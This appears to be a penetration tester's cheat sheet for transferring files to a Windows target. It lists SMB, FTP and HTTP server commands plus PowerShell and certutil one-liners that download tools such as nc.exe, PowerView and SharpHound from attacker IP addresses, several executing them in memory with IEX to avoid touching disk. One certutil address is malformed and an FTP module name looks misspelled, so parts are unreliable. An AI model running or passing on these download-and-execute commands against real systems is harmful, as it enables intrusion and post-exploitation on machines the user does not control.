Windows

SMB

sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py tools .

FTP

python -m myftpdlib 21

Powershell

To just download:
powershell.exe -c "iwr http://192.168.49.100:443/nc.exe -OutFile C:\Users\viewer\nc.exe"

To execute without touching disk:
iex(iwr http://192.168.143.123:443/Sherlock.ps1 -UseBasicParsing)

To dowload and execute:
IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.16:9001/PowerView.ps1') 
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"

echo IEX(New-Object Net.WebClient).DownloadString('http://10.50.59.39:14465/SharpHound.ps1') | powershell -noprofile

Certutil

python3 -m http.server 80
certutil.exe -urlcache -f http://10.101.01./file.txt file.txt

Last updated